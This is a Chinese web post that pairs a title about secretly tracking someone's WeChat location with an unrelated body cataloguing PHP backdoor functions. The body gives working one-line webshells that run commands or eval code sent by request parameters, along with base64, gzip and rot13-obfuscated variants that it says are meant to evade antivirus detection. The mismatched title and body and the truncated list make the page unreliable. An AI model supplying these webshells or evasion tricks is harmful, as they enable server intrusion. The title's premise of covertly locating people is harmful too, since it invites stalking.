偷偷查对方微信位置(微信怎么悄悄定位别人的位置)

偷偷查对方微信位置(微信怎么悄悄定位别人的位置)php后门木马常用的函数大致上可分为四种类型:   1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open   2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflat

php后门木马常用的函数大致上可分为四种类型: 
  1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open 
  2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 
  3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite 
  4. .htaccess: SetHandler, auto_prepend_file, auto_append_file 

  1. 执行系统命令: 
  system 函数 
  //test.php?cmd=ls 
  system($_GET[cmd]); 
  passthru 函数 
  //test.php?cmd=ls 
  passthru($_GET[cmd]); 
  shell_exec 函数 
  //test.php?cmd=ls 
  echo shell_exec($_GET[cmd]); 
  exec 函数 
  //test.php?cmd=ls 
  $arr = array(); 
  exec($_GET[cmd],$arr); 
  print_r($arr); 
  popen 函数 
  //test.php?cmd=ls 
  $handle = popen('$_GET[cmd], 'r'); 
  $read = fread($handle, 2096); 
  echo $read; 
  pclose($handle); 
  proc_open 函数 
  //test.php?cmd=ls 
  $descriptorspec = array( 
  0 => array('pipe', 'r'), 
  1 => array('pipe', 'w'), 
  2 => array('pipe', 'w'), 
  ); 
  $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes); 
  fclose($pipes[0]); 
  $output = array(); 
  while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n")); 
  print_r($output); 
  2. 代码执行与加密: 
  eval 函数 
  //最常见的一句话木马 
  eval($_POST[cmd]); 
  base64_decode 函数 
  //为了免杀及隐藏而加密代码 
  //密文: eval($_POST['cmd']); 
  eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); 
  gzinflate 函数 
  //为了免杀及隐藏而加密代码 
  //密文: eval($_POST['cmd']); 
  eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA=='))); 
  gzuncompress 函数 
  //为了免杀及隐藏而加密代码 
  //密文: eval($_POST['cmd']); 
  eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='))); 
  gzdecode 函数 
  //为了免杀及隐藏而加密代码 
  //密文: eval($_POST['cmd']); 
  eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA=='))); 
  str_rot13 函数 
  //为了免杀及隐藏而加密代码 
  //密文: eval($_POST[cmd]); 
  eval(str_rot13('riny($_CBFG[pzq]);')); 
  assert 函数 
  //类似eval函数 
  assert($_POST[cmd]); 
  call_user_func 函数 
  //使用call_user_func调用assert 
  call_user_func('assert',$_POST[cmd]); 
  call_user_func 函数 

  • 发表于 2020-11-29 12:50
  • 阅读 ( 407 )
  • 分类:互联网

0 条评论

请先 登录 后评论
q397
q397

678 篇文章

你可能感兴趣的文章

相关问题